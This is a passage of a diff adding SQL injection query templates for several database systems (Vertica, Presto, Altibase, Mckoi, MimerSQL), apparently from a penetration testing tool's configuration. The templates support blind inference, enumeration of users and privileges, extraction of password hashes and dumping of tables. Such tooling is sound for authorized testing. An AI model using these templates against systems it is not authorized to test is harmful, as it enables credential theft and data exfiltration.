+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="TABLENAME" condition2="SCHEMANAME"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
+        </search_column>
+   </dbms>
+
+    <!-- Vertica -->
+    <dbms value="Vertica">
+        <cast query="CAST(%s AS CHARACTER(10000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d LIMIT %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <!-- NOTE: requires >=9.1.1 because of 'cannot cast type varchar to varbinary' -->
+        <hex query="TO_HEX((%s)::varbinary)"/>
+        <inference query="ASCII(SUBSTRING((%s)::varchar FROM %d FOR 1))>%d"/>
+        <banner query="VERSION()"/>
+        <current_user query="CURRENT_USER"/>
+        <current_db query="CURRENT_SCHEMA()"/>
+        <hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
+        <table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
+        <!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
+        <column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
+        <is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
+        <check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
+        <users>
+            <inband query="SELECT user_name FROM v_catalog.users"/>
+            <blind query="SELECT user_name FROM v_catalog.users OFFSET %d LIMIT 1" count="SELECT COUNT(user_name) FROM v_catalog.users"/>
+        </users>
+        <passwords>
+            <inband query="SELECT user_name,password FROM v_catalog.passwords" condition="user_name"/>
+            <blind query="SELECT password FROM v_catalog.passwords WHERE user_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(password) FROM v_catalog.passwords WHERE user_name='%s'"/>
+        </passwords>
+        <privileges>
+            <inband query="SELECT grantee,privileges_description FROM v_catalog.grants WHERE object_type!='PROCEDURE'" condition="grantee"/>
+            <!-- NOTE: Vertica does not cache DISTINCT queries (must use ORDER BY to have consistent results) -->
+            <blind query="SELECT DISTINCT(privileges_description) FROM v_catalog.grants WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privileges_description)) FROM grants WHERE grantee='%s'"/>
+        </privileges>
+        <roles/>
+        <statements>
+            <inband query="SELECT current_statement FROM v_monitor.sessions"/>
+            <blind query="SELECT DISTINCT(current_statement) FROM v_monitor.sessions ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(current_statement)) FROM v_monitor.sessions"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT schema_name FROM v_catalog.schemata"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT schema_name,table_name FROM v_catalog.all_tables" condition="schema_name"/>
+            <blind query="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM v_catalog.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata WHERE %s ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT schema_name,table_name FROM v_catalog.all_tables WHERE %s" condition="table_name" condition2="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.all_tables WHERE %s ORDER BY 1" query2="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s'" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.all_tables WHERE %s" count2="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'" condition="table_name" condition2="schema_name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM v_catalog.columns WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM v_catalog.columns WHERE %s ORDER BY 1" query2="SELECT DISTINCT(table_name) FROM v_catalog.columns WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM v_catalog.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM v_catalog.columns WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Mckoi -->
+    <!-- NOTE: DBMS with minimalistic set of (restricted) features -->
+    <dbms value="Mckoi">
+        <cast query="CONCAT('',%s)"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="IF(%s IS NULL,' ', %s)"/>
+        <delimiter query="||"/>
+        <limit/>
+        <limitregexp/>
+        <limitgroupstart/>
+        <limitgroupstop/>
+        <limitstring/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query=";"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (IF(%s,1,0))"/>
+        <!-- NOTE: other way around does not work -->
+        <inference query="'%c'&lt;SUBSTRING((%s),%d,1)"/>
+        <banner/>
+        <current_user/>
+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <dbs/>
+        <tables/>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONCAT('',%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONCAT('',%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
+        </dump_table>
+        <users/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <search_db/>
+        <search_table/>
+        <search_column/>
+   </dbms>
+
+    <!-- Presto -->
+    <dbms value="Presto">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d LIMIT %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTR(%s,%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(%s)"/>
+        <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
+        <banner/>
+        <current_user query="CURRENT_USER"/>
+        <current_db/>
+        <hostname/>
+        <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
+        <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
+        <is_dba/>
+        <check_udf/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Altibase -->
+    <dbms value="Altibase">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="NVL(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d,%d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="/*"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <hex query="HEX_ENCODE(%s)"/>
+        <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <banner query="SELECT PRODUCT_SIGNATURE FROM V$DATABASE"/>
+        <current_user query="USER_NAME()"/>
+        <current_db query="USER_NAME()"/>
+        <hostname/>
+        <table_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s'"/>
+        <column_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
+        <is_dba query="(SELECT COUNT(*) FROM SYSTEM_.DBA_USERS_ WHERE USER_NAME=USER_NAME())=1"/>
+        <users>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
+            <blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
+        </users>
+        <passwords>
+            <inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
+            <blind query="SELECT PASSWORD FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'" count="SELECT COUNT(PASSWORD) FROM SYSTEM_.SYS_USERS_ WHERE USER_NAME='%s'"/>
+        </passwords>
+        <privileges>
+            <inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
+            <blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
+        </privileges>
+        <roles>
+            <inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
+            <blind query="SELECT USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(*) FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID WHERE GRANTEE.USER_NAME='%s'"/>
+        </roles>
+        <statements/>
+        <dbs>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
+            <blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID" condition="USER_NAME"/>
+            <blind query="SELECT TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
+            <blind query="SELECT COLUMN_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" query2="SELECT DATA_TYPE FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND USER_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE TABLE_NAME='%s' AND USER_NAME='%s'" condition="COLUMN_NAME"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_USERS_ WHERE %s" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="TABLE_NAME" condition2="USER_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_TABLES_ JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="TABLE_NAME" condition2="USER_NAME"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT USER_NAME,TABLE_NAME FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
+            <blind query="SELECT DISTINCT(USER_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" query2="SELECT DISTINCT(TABLE_NAME) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" count="SELECT COUNT(DISTINCT(USER_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYSTEM_.SYS_COLUMNS_ JOIN SYSTEM_.SYS_TABLES_ ON SYSTEM_.SYS_COLUMNS_.TABLE_ID=SYSTEM_.SYS_TABLES_.TABLE_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_TABLES_.USER_ID WHERE USER_NAME='%s'" condition="COLUMN_NAME" condition2="USER_NAME" condition3="TABLE_NAME"/>
+        </search_column>
+    </dbms>
+
+    <!-- MimerSQL -->
+    <!-- NOTE: DBMS with stohastic output of rows (ORDER BY required) -->
+    <dbms value="MimerSQL">
+        <!-- NOTE: NVARCHAR(4000) causes problems in boolean (e.g. 'Required temporary table row length is 32006, only 32000 is possible') -->
+        <cast query="CAST(%s AS NVARCHAR(1000))"/>
+        <length query="CHAR_LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d FETCH %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+FETCH\s+([\d]+)" query2="\s+FETCH\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <inference query="UNICODE_CODE(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT attribute_value FROM SYSTEM.SERVER_INFO WHERE server_attribute='CATALOG_VERSION_CURRENT'"/>
+        <current_user query="USER()"/>
+        <current_db query="USER()"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE schema_owner=USER())>0"/>
+        <check_udf/>
+        <!-- Reference: https://download.mimer.com/pub/developer/docs/html_110/Mimer_SQL_Engine_DocSet/App_D_Dic_tables2.html -->
+        <users>
+            <inband query="SELECT user_name FROM SYSTEM.USERS"/>
+            <blind query="SELECT user_name FROM SYSTEM.USERS ORDER BY user_name OFFSET %d FETCH 1" count="SELECT COUNT(user_name) FROM SYSTEM.USERS"/>
+        </users>
+        <passwords/>
+        <privileges>
+            <inband query="SELECT DISTINCT user_name,privilege_type FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID" condition="user_name"/>
+            <blind query="SELECT DISTINCT(privilege_type) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s' ORDER BY privilege_type OFFSET %d FETCH 1" count="SELECT COUNT(DISTINCT(privilege_type)) FROM SYSTEM.TABLE_PRIVILEGES JOIN SYSTEM.USERS ON SYSTEM.TABLE_PRIVILEGES.GRANTEE_SYSID=SYSTEM.USERS.USER_SYSID WHERE user_name='%s'"/>
+        </privileges>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY schema_name OFFSET %d FETCH 1" count="SELECT COUNT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
